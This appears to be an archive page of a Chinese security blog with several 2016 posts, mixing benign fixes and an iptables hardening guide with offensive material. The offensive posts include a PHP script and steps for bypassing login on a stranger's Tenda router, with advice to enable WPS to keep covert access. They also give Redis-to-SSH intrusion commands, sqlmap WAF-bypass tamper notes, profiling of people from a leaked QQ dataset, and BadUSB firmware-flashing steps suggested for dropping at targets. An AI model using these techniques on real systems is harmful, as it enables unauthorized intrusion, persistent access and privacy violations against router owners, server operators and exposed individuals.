使用namp和自定义文件来挖掘/枚举子域名 技术文章

下面将介绍如何使用nmap的dns-brute脚本和自定义子域文件来扫描或者是枚举域的子域。

nmap的dns-brute脚本只包括了127个常见的子域,因此我们可以用自己搜集或者是制作的自定义子域文件来枚举,这些文件包括最常见的1000个,10000个,100000个和1000000个子域。

下面配合namp的命令:

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub10000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub100000.lst
nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000000.lst

下载子域名文件:download sub1000.lst sub10000.lst sub100000.lst sub1000000.lst

例如枚举亚马逊的子域名:

nmap2.JPG

子域名文件来源博客:

https://bitquark.co.uk/blog/2016/02/29/the_most_popular_subdomains_on_the_internet

namp的dns-brute官方文档介绍:

https://nmap.org/nsedoc/scripts/dns-brute.html

原文:http://blog.x1622.com/2016/11/subdomain-discovery-with-nmap-and.html


admin 发布于  2016-12-6 10:24 

关于Google chrome浏览器无法启动更新检查的解决方法 技术文章

因为自己的身体原因,几个月没有使用电脑,今天开机使用的时候想更新一下chrome浏览器,结果就出现这个错误:2016-11-25 12-33-47.png

检查更新时出错:无法启动更新检查(错误代码为 4: 0x80070005 -- system level)。

先说第一种解决方法:直接点击这串蓝色的数字,会自动跳转到Google的官方帮助站点,直接下载离线安装版,跟着操作就OK。

第二种,我们从提示出错的字面意思去理解它:无法启动更新检查,那么就有可能是检查更新服务没有启动,验证一下就好了:

win+R
services.msc


查看结果如下:

2016-11-25 12-35-51.png

果然是Google的更新服务被禁用了,我想可能是在使用优化软件优化的时候做的负优化 -_-|| ,

直接右键--属性--启动改为手动就OK了,在前往chrome://help/ 更新就好了。

标签: google chrome

admin 发布于  2016-11-25 12:38 

关于 windows10 使用 usb 共享网络上网时 电脑卡得飞起的解决办法 技术文章

声明:以下内容来自于V2社区,个人收藏,如有侵权,还请告知,谢谢!


使用 USB 共享手机的网络时,电脑变得很卡,尤其是系统自带的应用,如打开网络与共享中心,使用 Cortana 搜索,甚至是在任何地方用系统自带输入法输入,都很卡!拔掉 USB 线之前卡掉的操作都瞬间完成了。 然而第三方软件并不受影响,比如我发这个帖子,我等了半分钟把输入法换成了手心,然后就非常顺畅的打完了字,发出来了,要使用自带输入法,特别是使用微软拼音中文状态下,大概标题还没输完。 有需要用 USB 共享网络的应该很少,不知道有没有人遇到同样的情况。我的手机是闲置的 MI4 ,当作免费的移动无线路由器

系统是 win10 X64 10.0 版本是 10586 4 核 U 8G 内存 睿速 T9 256G 开机都是秒开,为毛我一插手机 USB 线,打开 USB 网络共享,电脑就卡成渣,但是 CPU 和内存都不怎么彪,这是嘛情况啊,各位有没有遇到过、、、?求解

通过搜索,说什么在设备管理中心禁用一下再启用这个网卡,可是还是没有效果.... 各位 V 友 有没有什么办法解决呢?或者是科普一下,这是什么原因!

解决办法:

设备管理器中,选择 usb 共享的那个网卡(一般是名字里有 NDIS 这几个字母的), 0.png


然后右键,更新驱动程序,然后选下边那一项(从计算机设备列表中选取)  , 


1.png
然后去掉“显示兼容设备”的对钩,3.png



然后在列表左边找到“ Microsoft ”,然后在右边拉到最下边,选择“远程 NDIS 兼容设备”这个,4.png

之后确定即可。

 5.png

作者:杨晓恒 

链接: http://www.zhihu.com/question/35185870/answer/93712562 

来源:知乎 

著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。



admin 发布于  2016-5-11 13:26 

实测绕过腾达某型号路由器后台登陆认证,获得管理权限 技术文章

刚好今天住的地方网络出了问题,就打开手机随便搜索了一下附近的wifi,发现有个可以用钥匙链接,毫不犹豫地连接上去,故事就此展开了:

习惯性地在连接上陌生wifi后进一下后台,用浏览器打开网关,来到这个页面:http://192.168.0.1/login.asp点击查看原图

一看,感觉好眼熟啊,这个和之前在乌云看到的那个腾达漏洞很相似啊,为了验证一下,F12后切换到Network选项卡下面,重新请求一遍,发现从首页index.asp 301 跳转到 login.asp ,而且没有cookies,那么是否是真的是那个漏洞呢?利用php的curl写了个简单的脚本:

<?php 
echo "找到路由的备份文件就好了,密码就在里面。腾达的备份文件是RouterCfm.cfg。在工具的地址栏输入:http://192.168.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg,然后点获取当前地址源码。http_passwd就是登陆密码".'<br>';
$headers = array(
    // 'GET /index.asp HTTP/1.1',
    'Host: 192.168.0.1',
    'Cookie: admin:language=cn;',

);
$url='http://192.168.0.1/index.asp';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
 ?>


运行后的结果如下:

点击查看原图

从图上看,基本上可以判断是成功了得,再ctrl+u :点击查看原图

开始很纳闷,为啥没有宽带账号/密码,初步判断是静态IP或者是动态获取IP,从图中可以看到wifi密码是八个8--88888888 ,把配置文件下载下来后就可以看到后台的登陆密码了:

5.png

http_passwd=后面的就是路由器后台登陆密码,当然,你也可以不下载配置文件,直接在后台修改登录密码,但是这样容易被路由器的所有者发现,不建议这样做,进入路由后,如果有wps功能,请帮他打开,哈哈,这样即使他改了密码,你通过wps还是很可以轻松的拿到密码---拿下路由器。更多的关于拿下路由器后的各种姿势,请看这篇文章:破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单

      这个漏洞在13年的时候就出来了,而且还有很多成品工具可以一键破解,可是这些厂家和我们的人民 没有多少安全意识,特别是在公共场合的wifi,朋友们在使用的时候,一定要注意,别在这些场所进行资金操作,或者是与个人隐私相关的操作,因为,谁也不知道咋某个角落是否有一个骇客正在监听或者嗅探 or 钓鱼呢? OK ,


admin 发布于  2016-4-28 16:36 

通过redis入侵服务器的步骤 渗透测试

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥


ssh-keygen

二,先连接redis看看



telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

三, 清一下redis数据库


redis-cli -h 192.168.15.10 flushall

四, 向redis写自己的公钥


catkey.txt |redis-cli -h 192.168.15.10 -xsetredis

五, 利用redis写入到文件中












#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SETdir/root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename"authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

六, 远程连接

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

这个是最近redis爆出来的。


admin 发布于  2016-4-18 18:40 

SQLMAP tamper WAF 绕过脚本列表注释 网络安全

sqlmap的tamper目录下有41个用于绕过waf的脚本,网上有文章简要介绍过使用方法,但是只是简单说了其中少数几个的作用。本人通过这41个脚本的文档注释,将它们每一个的作用简单标记了一下,还是像之前一样,先 google translate 再人工润色。其实,文档注释里面都有例子,看一眼就大概知道效果了,比看文字描述速度还快,只不过要用的时候现场翻看还是太麻烦了。我这个列表可以给大家提供参考,来更迅速的定位自己需要的脚本。

本人英文阅读能力有限,有个别词句(其实就2处)实在拿捏不准该如何翻译,就把英文照搬过来了。另外,虽然下了不少功夫翻译和校对,但自认为错误在所难免,大家有发现我翻译错误的,请指出来,谢谢大家。

01. apostrophemask.py 用UTF-8全角字符替换单引号字符

02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

03. appendnullbyte.py 在payload末尾添加空字符编码

04. base64encode.py 对给定的payload全部字符使用Base64编码

05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

06. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

07. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

08. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

09. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”

12. greatest.py 用“GREATEST”函数替换大于号“>”

13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

15. lowercase.py 用小写值替换每个关键字字符

16. modsecurityversioned.py 用注释包围完整的查询

17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

18. multiplespaces.py 在SQL关键字周围添加多个空格

19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

20. overlongutf8.py 转换给定的payload当中的所有字符

21. percentage.py 在每个字符之前添加一个百分号

22. randomcase.py 随机转换每个关键字字符的大小写

23. randomcomments.py 向SQL关键字中插入随机注释

24. securesphere.py 添加经过特殊构造的字符串

25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

26. space2comment.py 用“/**/”替换空格符

27. space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符

28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

33. space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符

34. space2plus.py 用加号“+”替换空格符

35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

39. versionedkeywords.py 用MySQL注释包围每个非函数关键字

40. versionedmorekeywords.py 用MySQL注释包围每个关键字

41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF


admin 发布于  2016-4-13 19:13 

利用d3.js对大数据资料进行可视化分析 网络安全

作者: Anthr@X  [email protected]

0x00 背景


对于前段时间流出的QQ群数据大家想必已经有所了解了,处理后大小将近100G,多达15亿条关系数据(QQ号,群内昵称,群号,群内权限,群内性别和年龄)和将近9000万条群信息(群号,群名,创建时间,群介绍),这些数据都是扁平化的2维表格结构,直接查询不能直接体现出用户和群之间的直接或者间接关系。通过数据可视化,可以把扁平结构的数据作为点和线连接起来,从而更加直观的显示出来从而进行分析。

d3.js是一个近年来推出的基于javascript的数据展示库,全称为Data Driven Document, 在浏览器数据展示领域的地位类似于通用js框架里的jQuery。d3.js的官网是d3js.org,大家可以在上面看到很多例子和应用。d3.js也是图形数据库neo4j所内置的数据展示工具。

说到图形数据库,其实正确的翻译应该是图数据库,图即所谓的Graph,来自于数学里的图论,比如四色定理和推销员过桥的问题(著名的NP问题之一)。图数据库着重于数据之间的关联和属性,对于关系错综复杂的关系分析效率很高。例如,我想知道谁是我朋友的朋友,并且他们有哪些朋友也认识我。对于这种问题,普通关系型数据库的计算复杂度是O(N^c)左右或者更高,N为选择范围的数据集合大小,你好友数量加上好友的好友的数量等,c为关系层数。图数据库的计算复杂度在O(N^2)左右或者更低,但是基本不会超过O(N^2)。图数据库对于复杂关系数据查询起来效率高的主要原因是在数据输入的时候就已经对关系进行了处理和索引,这样做在查询的时候具有很高的效率,但是在数据导入的时候会很慢。QQ群的15亿个关系在向图数据库neo4j里导入的时候花了3天都没弄完,也没有进度提示,所以后来我直接放弃了。

0x01 数据处理


在QQ群和群成员关系里面,对于层数我是这么定义的:

第1层:目标QQ加入的所有群  
第2层:目标QQ加入的所有群的所有成员  
第3层:目标QQ加入的所有群的所有成员加入的所有群  
.  
.  
.  

大家可以看出这样的查询是可以递归的,假设每个QQ号所加入的群数量和每个群的成员数量为N,那么查询3层数据时总计算量为N*N*N=n^3,所以当查询层数为c层的时候,计算复杂度是N^c。

前面说过,图数据库的计算复杂度一般在N^2以下,所以当使用普通的关系型数据库的时候,如果查询的层数不多,效率和图数据库比起来差不多,加上关系数据库自带的便于管理和导入导出的属性,所以我还是选择了mysql数据库。

对于QQ和QQ群之间的关系,每个QQ号都能加入群,一个群里也有很多QQ,基本都在几十到几百人,所以两个QQ号在同一个群里不一定代表他们的关系很紧密,换句话说QQ和QQ群之间的关系相对于QQ好友而言相对较弱。但是这并不代表我们从中不能分析出有用的资料,俗话说的好,大数据就像一座金矿,只有用力挖才能挖到金子。

d3.js支持多种数据格式,比如JSON,XML,CSV,HTML等,因为PHP的数组可以很简单的转换为JSON格式,所以我选择用PHP写API来获取JSON数据。QQ和QQ群是一种典型的图数据的应用,QQ和QQ群作为节点(node),QQ加入了哪些群作为关系(link),d3.js内置了一个功能很强大的内建布局,叫做Force-Directed Graph(受力导向图),后面简称为force。force布局模拟了一些基本的物理粒子原理,比如引力和斥力(确切的说是模拟了电磁力和引力,在离的远的时候会互相吸引,在离的近的时候斥力急剧增加),并且可以调节力的大小和受力距离等等,可以说是自由度相当高。关于d3.js的force布局,在官网有详细的API和不少例子,这里我就不贴代码了。

在force布局里面,数据源的JSON可以有很多种不同的格式和属性,但是基本格式如下:

{"nodes":[{"num":10001,type:"qq"},{"num":12345678,type:"qun"}],"links":[{"source":"10001","target":"12345678","auth":1,"nick":"pony"}]} 

其中nodes数组对应的是节点列表,links对应的是关系列表。

每个节点可以有很多自定义属性,在d3.js可以针对每个节点存取节点的属性,比如我定义num是QQ号或者群号,type代表节点是QQ还是群,另外我在js里设定在type==‘qun’的时候显示群的图标,是qq的时候显示qq的图标。关系里面默认的属性有source和target,分别对应一个关系的两头,默认情况下关系里面的source和target对应的数字是节点在节点数组里面的位置index。但是我自定义成了qq号和群号。另外你也可以定义其他属性,比如auth代表这个QQ号在群里的权限,nick是群昵称。

对于QQ群这样的关系来说,基本上在第4层和以上的QQ和群的关系就比较弱了,所以为了提高查询速度和减少节点数量,我只查询2层关系(少么?不少,要想想有些群有超过500人……)。

首先,d3.js需要在浏览器里面运行,我的首选是Google Chrome,V8引擎的效率果然不错,在节点和关系不多的时候基本感觉不到延迟,后来在FF和IE11里面测试了一次,FF比Chrome卡一半左右,IE的话我只能呵呵了……

先拿小马哥做个测试,QQ号是霸气的10001。当d3.js导入完数据JSON的时候,各种节点会在屏幕上乱飞几秒钟,直到他们的力达到一个稳定的平衡点。结果如下:

说明:

企鹅图标的节点代表QQ,群图标的节点是群(废话么)。  
每条线代表一个关系,一个QQ可以加入N个群,一个群也可以有N个QQ加入。  
线的颜色分别代表:  
土豪金:群主  
狗腿绿:群管理员  
屌丝蓝:群成员 

大家也可以看到,群主和管理员的关系线也比普通的群成员长一些,这是为了突出群内的重要成员的关系。

图标旁边自动标注了QQ号和群号,如果有的话还有群名。没有在QQ号旁边标注昵称是因为很多人加入不同的群使用的是不同昵称,所以把昵称放到了其他的地方显示。

在下图中大家可以隐约的看到,所有的关系都是以QQ 10001为起点的。

0.png

在图上节点是可以拖拽的,拖拽后会固定在你释放的地方。我们把几个群稍微拖的分开一点,关系就一目了然了1.png

这个时候我们可以看到在目标的QQ群里也有很多共同QQ号,比如有些QQ号同时加入了2,3个群。群名显示的都是各种产品开发讨论群,这些同时加入2,3个产品群的人估计不是产品经理就是主管吧……

2.png

鼠标悬停到群图标上可以看到群的详细信息(如果有的话)

3.png

因为很多人在不同群里的昵称不一样,所以群内昵称等信息就只能放到link上面了,因为线比较细,所以鼠标比较难对准,这个功能还待修改。

这个家伙和小马哥一起同时在3个群里,好基友?

4.png


小马哥的QQ群信息展示完了,下面我们来看看更加实际的应用,比如把某圈子里的人找出来。我们先从某土豪大黑阔大牛的QQ号入手:

初始数据好多……此大黑阔加入的群够杂的,不过就是因为杂所以才能更深入的了解一个人的所有喜好。看看群名神马的,我好像看到了dota,XX国际俱乐部,web技术交流,XXsec等群……充分说明了此人……是个屌丝技术宅大黑阔,XX国际俱乐部又似乎带着那么种高大上的感觉……

图中错综复杂的各种关系组成了一朵朵盛开的菊花,向我们诉说着他的历史……

5.png


为了理清他那不堪回首的过去和关系网,我特地把浏览器窗口拖到第二个屏幕上,然后把群挨个分开。为了保护当事人的隐私,这张图我打码了。

这张图比较宽,建议大家下载下来放大看

6.png


0x02 总结


假如把层数扩展到4层,不知能否筛选出中国所有黑阔的QQ号呢?至少我已经在这张图里看到了很多熟悉的名字和号码。

腾讯总是说漏洞早已修复,不存在问题了,广大网民放心,但实际上信息泄露这种事情,岂是你漏洞修复好了就结束了的事情?

注:转载自乌云文库,原作者为QQ群关系查询站的站长 --- insight-labs ,原文地址:http://drops.wooyun.org/tips/823


admin 发布于  2016-4-2 18:32 

利用 iptables 折腾安全的服务器环境 Linux

0x00 概述

iptables 是 Linux 内核集成一套包过滤系统,并且可以实现状态防火墙,建立精细的包过滤列表,功能十分强大,所以选择折腾 iptables 来实现防火墙。

iptables 一共有 4 个表:filter,nat,mangle,raw,5 个链:INPUT,OUTPUT,FORWARD,POSTROUTING,PREROUTING

功能

  • filter:实现防火墙一般的数据包过滤功能。(默认表)
    • Chain: INPUT,OUTPUT,FORWARD
  • nat:网络地址转换。
    • Chain: PREROUTING,POSTROUTING
  • mangle:修改数据包。
    • Chain: INPUT,OUTPUT,FORWARD,POSTROUTING,PREROUTING
  • raw:不让 iptables 做数据包链接跟踪,提高性能。
    • Chain: PREROUTING,OUTPUT

0x01 简单应用

iptables 有基础的命令还有可选的模块,在 Terminal 中直接可以使用man iptables查看 iptables 的 man page (Online)。

清除现有 iptables 规则:iptables -F or iptables --flush(清除 Chain 中的所有规则,可以加上 -t or --table 指定某个表,不指定则清除所有)。iptables -X or iptables --delete-chain(删除所有用户自定义的 Chain ,即通过 -n or --new-chain 增加的 Chain )。iptables -Z or iptables --zero(清空封包计数器)。

设定默认策略:不符合任何一条规则的时候,按照设定好的默认策略处理,最安全的就是全部 DROP ,再单独添加例外,添加 DROP 的默认策略必须在 Console 下,不然 Terminal 会掉。

iptables -p INPUT DROP iptables -p OUTPUT DROP iptables -p FORWARD DROP 

-p or --policy是为 Chain 添加默认策略。iptables 默认都是 ACCPET 的,如果需要删除此限制,改回 ACCPET 即可。

设置了 DROP 的默认策略之后,必须添加允许回环!

iptables -A INPUT -i lo -p all -j ACCEPT
iptables -A OUTPUT -o lo -p all -j ACCEPT 

-i or --in-interface 是定义入网 NIC 的,表示数据包从何进入,可以使用加号+作为通配符,比如 eth+ 表示所有的 eth,也可以用感叹号 ! 进行排除匹配。

部分版本的 Linux 需要重启 iptables 服务才能生效(server iptables restart or/etc/init.d/iptables restart),我使用的是 Debian,现在 Debian 已经是实时生效 iptables 的了,不需要重启服务。也可以使用iptables-save > /home/iptables.rule导出 iptables 规则,到时候再使用 iptables-restore 恢复。

开启允许通过的端口:如果刚刚上面设置了默认 DROP 策略,现在就要来设置例外规则了,不然任何流量出入都会被丢弃了。现在来开个 SSH(22)端口。

iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --sport 22 -j ACCEPT 

-A or --append 新增一条规则,默认是最后一条规则,如果需要插入优先级别更高的可以使用 -I or --insert-p or --protocol 是指定协议,常见协议有:tcp,udp,icmp,igmp等,可以使用 all 匹配所有协议,在协议名称前加感叹号 !表示排除此协议,如 !tcp 表示除了 tcp 协议以外的协议。--dport or --destination-port 是目的端口,限制要访问的目的端口,可以用 : 号表示范围,比如 1:100 表示 1 - 100 端口。--sport or --source-port 是来源端口,使用方法和目的端口一致。-j or--jump 代表了处理动作,常见处理动作有:ACCEPT,REJECT,DROP,REDIRECT,MASQUERADE,LOG,DNAT,SNAT,MIRROR,QUEUE,RETURN,MARK等,ACCPET 代表放行,REJECT 代表拒绝,DROP 代表丢弃,其他更多的说明请参考 man page。

如果要限制允许访问的 IP 来源地址,可以用 -s or --src or --source 来限制。

iptables -A INPUT -s 8.8.8.8 -p tcp --dport 22 -j ACCEPT iptables -A INPUT -m iprange --src-range 8.8.8.1-8.8.8.10 -p tcp --dport 22 -j ACCEPT 

来源地址可以是单个 IP 地址,也可以是地址段 8.8.8.0/24 这种格式,如果要限定范围就需要用 -m iprange --src-range 加范围限制,地址也可以使用感叹号 ! 进行排除匹配。

要开放常用端口,也可以使用 -m multiport --dport 参数。

iptables -A INPUT -m multiport --dport 21,22,80,3306,8000:8999 -p tcp -j ACCPET 

禁止 ping:ping 是基于 ICMP 协议的,所以禁掉 ICMP 包就 OK 了。

iptables -A INPUT -p icmp -j DROP iptables -A OUTPUT -p icmp -j DROP 

但是,用这种方式禁用掉 ICMP 协议,服务器就不可以发起 ping 请求,我们可以利用状态防火墙的特性,根据状态来过滤。先删除旧的策略。

iptables -D INPUT -p icmp -j DROP iptables -D OUTPUT -p icmp -j DROP 

-D or --delete 是用于删除规则,输入完整的策略即可删除。

iptables -A INPUT -p icmp --icmp-type Echo-Request -j DROP iptables -A INPUT -p icmp --icmp-type Echo-Reply -j ACCEPT iptables -A INPUT -p icmp --icmp-type destination-Unreachable -j ACCEPT 

--icmp-type是用于定位 ICMP 数据包的类型,可以使用 iptables -p icmp --help 查看详细定义或者在 man page 中查看。这里选择 DROP 掉请求,但是允许返回报文通过。

丢弃状态为 INVALID 的 HTTP 数据包:状态为 INVALID 的都是无效的包,直接 DROP。

iptables -A INPUT -m state --state INVALID -j DROP iptables -A OUTPUT -m state --state INVALID -j DROP iptables -A FORWARD -m state --state INVALID -j DROP 

-m state --state 是用来识别连接状态的,常见的有 4 种状态,NEW,INVALID,ESTABLISHED,RELATED

丢弃外网的私网源地址请求:服务器是公网的,没有内网互联机器,源地址是私网地址的基本都是 IP 欺骗,直接 DROP。

iptables -A INPUT -i eth0 -s 10.0.0.0/8 -j DROP iptables -A INPUT -i eth0 -s 172.16.0.0/12 -j DROP iptables -A INPUT -i eth0 -s 192.168.0.0/16 -j DROP 

0x02 高级应用

防止 DDOS 和 CC 攻击:可以通过 iptables 记录访问过频,然后禁止掉过频密的请求。

iptables -A INPUT -p tcp --dport 80 --syn -m recent --name web_viewer --rcheck --seconds 60 --hitcount 10 -j LOG --log-prefix 'CC_ATTACK:' --log-ip-options iptables -A INPUT -p tcp --dport 80 --syn -m recent --name web_viewer --rcheck --seconds 60 --hitcount 10 -j DROP iptables -A INPUT -p tcp --dport 80 --syn -m recent --name web_viewer --set -j ACCEPT 

每 60 秒只允许建立 10 个新连接,超出则丢弃。

防止 SSH 爆破:公网服务器总会被人爬到然后爆破 SSH 密码,直接用 iptables 中的 recent 模块将爆破的禁掉。

iptables -A INPUT -p tcp --dport 22 -m recent --name SSH_Brute --rcheck --seconds 300 --hitcount 3 -j DROP iptables -A INPUT -p tcp --dport 22 -m recent --name SSH_Brute --set -j ACCEPT 

这里的流程就是,第一次发出 SSH 连接的时候,会先检查 SSH_Brute 列表中有无记录,并且是否满足 3 次,如果满足则丢弃,生存期是 5 分钟(300 秒),如果是第一次连接,自然不会符合第一条规则,所以就跳到第二条,将当前用户的 IP 添加到 SSH_Brute 表中,并允许此次通过。这样就可以限制了,5 分钟内,只能尝试 3 次,超出这个次数就会被 DROP。

但这样还是存在一个问题,就是每隔5分钟之后还是可以爆破,但我们又不能将时间设置得太长,不然我们自己管理都被 DROP 了请求,所以这里可以用 update 标签来代替 rcheck 标签。两者作用其实大致相同,只是处理流程不一样, rcheck 是从接受到数据包就开始计算时间,但是 update是从最近的 DROP 数据包开始计算时间的,等于在一定时间内允许你发起 X 次连接,但一旦超出了,就开始 DROP 你的请求一定的时间。这样的过滤更加严格。

iptables -A INPUT -p tcp --dport 22 -m recent --name SSH_Brute --update --seconds 3600 --hitcount 3 -j DROP iptables -A INPUT -p tcp --dport 22 -m recent --name SSH_Brute --set -j ACCPET 

与上面其实就是换成了 update ,作用是一旦发起了超过 3 次连接就禁止一个小时。

未完待续

原文地址:https://bobylive.com/static/1937069


admin 发布于  2016-4-2 10:04 

Badusb初玩步骤记录&疑问探讨 技术文章

一直在各大常逛的网站看到关于Badusb的文章,顿时觉得很神奇,很高端,于是一直想拥有这么一个邪恶的东西,可是因为2303不是很好找,并且git上的编译写入过程一看就头大,所以一直搁浅了,可是并没放弃,扯远了,扯回来。 

PS:英文好的同学可以直接去Git看官方教程 
PS:发现关于Badusb的详细教程文章国内寥寥无几,大牛们肯定都是在躲着玩..让后来想学的小白怎么办

俄罗斯大神发的帖子,有制作视频,查资料去看吧:https://dmyt.ru/forum/viewtopic.php?f=7&t=383

需要的环境&工具

0.2303芯片的U盘  (废话...)
1.Visual Studio 2012(编译所需工具用,可选安装,我会编译打包好) 
2.Java环境  (执行encoder所需) 
3..NET framework 4.5(系统自带,没有请到微软官网下载) 
4.SDCC  http://sdcc.sourceforge.net   //安装至C:\Program Files\SDCC目录下 
5.Duckencoder(编译攻击代码) 
6.Burner File BN03V104M.BIN  (2303固件)         
7.Psychson  (Badusb写入工具 https://github.com/adamcaudill/Psychson/) 
8.攻击payload  (想要执行的攻击代码) 
9.主控芯片查看工具  (可选,查看U盘主控芯片信息)

1.下载&编译攻击代码 
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads 
你可以使用HelloWorld测试,也可以用Downer下载exe并运行(第二次刷入比较麻烦,建议第一次就选好想要的payload

java -jar encoder.jar -i payload.txt -o inject.bin //使用Duckencoder目录下的encoder生成payload为bin

2.生成固件&将攻击代码写入固件

Psychson-master\firmware\build.bat //生成固件

EmbedPayload.exe C:\Psychson-master\inject.bin C:\Psychson-master\firmware\bin\fw.bin //将攻击代码写入生成的固件


3.将生成的固件写入U盘

DriveCom.exe /drive=G /action=SetBootMode //设置U盘模式

DriveCom.exe /drive=G /action=SendExecutable /burner=BN03V104M.BIN //2302固件

DriveCom.exe /drive=G /action=SendFirmware /burner=C:\Psychson-master\BN03V104M.BIN /firmware=C:\Psychson-master\firmware\bi\fw.bin //写入带有攻击代码的固件到芯片中


就不每个都传图了,直接上写入成功的图:点击查看原图

文件打包下载链接:链接:http://pan.baidu.com/s/1jIm22bk 密码:mrxn

疑问讨论:(玩过的大牛,都别躲着玩了,快出来科普问题,或说说猥琐的新姿势..) 

1.看漏洞原理,貌似是因为此芯片可编程为其他设备,如Usb键盘,打印机什么的,然后执行代码,那么U盘被编程为了其他设备,是否可以将恶意 exe写入进去,并在插入的时候执行自己存储的exe,而不是执行vbs下载(因为要考虑到内网或没网,执行一个内置并潜伏的程序应该能pass此场景) 

2.貌似它只是模拟了键盘去执行命令,那么在没有powershell的环境里如何做到隐藏执行?cmd有点显眼,虽然一闪而过 

3.如何即让它可以模拟执行命令又能像正常U盘一样存储东西(比较插上U盘结果没出现盘让人感觉有点不对)听说量产工具可以把U盘量产为不同的用途,不知道是否可以用在此处 

end:不想再折腾了。。第一次刷入helloworld成功后还小激动了会,然后发现第二次刷入新的payload出现了错误,在大牛的帮助下才成功使用短接方法重新刷入payload(在没有工具的情况下,拆开U盘橡胶外壳,不要问我是不是咬开的,我徒手撕的..) 

感谢90某大神的耐心回答,几个小时之前都没听说过U盘还有短接这东西。。(此文也是参考自他) 

下一个可能要感谢“一只猿”了,你们猜为什么 

enjoying..(ps:去目(nv)标(shen)那丢U盘吧)

原文:http://www.jeary.org/?post=51


admin 发布于  2016-4-1 14:09 

利用U盘制作简单BadUSB,插谁谁怀孕,价格便宜,人人都可以拥有 技术文章

首先 来看一下 图(如果刷坏或者想更改Payload,需要短接39和40针,再用官方刷写工具刷新),注意红色箭头标志:

点击查看原图


0x00 前言 

关于Badusb可以参看这个视屏:http://v.qq.com/boke/page/l/g/w/l01425u2igw.html

不是很新的东西,其他作者已对此做过研究测试,本文仅用来记录操作过程,保存日志,说明细节。

0x01参考资料 

https://github.com/adamcaudill/Psychson 
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads 
http://zone.wooyun.org/content/20001 

0x02环境搭建 

1、硬件 

U盘 :东芝(TOSHIBA) 速闪系列 U盘 16GB (黑色) USB3.0 主控版本:Phison 2251-03 购买地址: http://item.jd.com/929732.html

2、软件 

Windows x64主机 

(1)Java Runtime Environment :Java环境,用于支持Duckencoder 

(2)SDCC :刷写U盘的环境,用于支持Psychson 

(3)Visual Studio 2012 :编译Psychson的开发环境 

(4)Psychson :BasUSB写入工具 (https://github.com/adamcaudill/Psychson)

(5)Burner File :BN03V104M.BIN,必要的burner 

(6)USB-Rubber-Ducky Payload :编写Payload的参考代码 (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)

(7)Duckencoder :用于编译Payload 

(8)chipgenius 芯片检测工具 :用于确定U盘型号 

0x03操作流程 

1、配置Payload 

进入DuckEncoder文件夹 

执行:

java -jar encoder.jar -i payload.txt -o inject.bin

说明: 

encoder.jar:文件夹自带 
payload.txt:可参考USB-Rubber-Ducky Payload 
inject.bin:执行代码后生成的文件 

2、生成固件 

执行:

Psychson-master\firmware\build.bat

生成fw.bin文件 

3、将Payload写入fw.bin文件 

执行:

EmbedPayload.exe inject.bin fw.bin

说明: 

EmbedPayload.exe:编译EmbedPayload工程得来 
inject.bin:操作1生成 
fw.bin:操作2生成 

4、将生成的固件写入U盘 
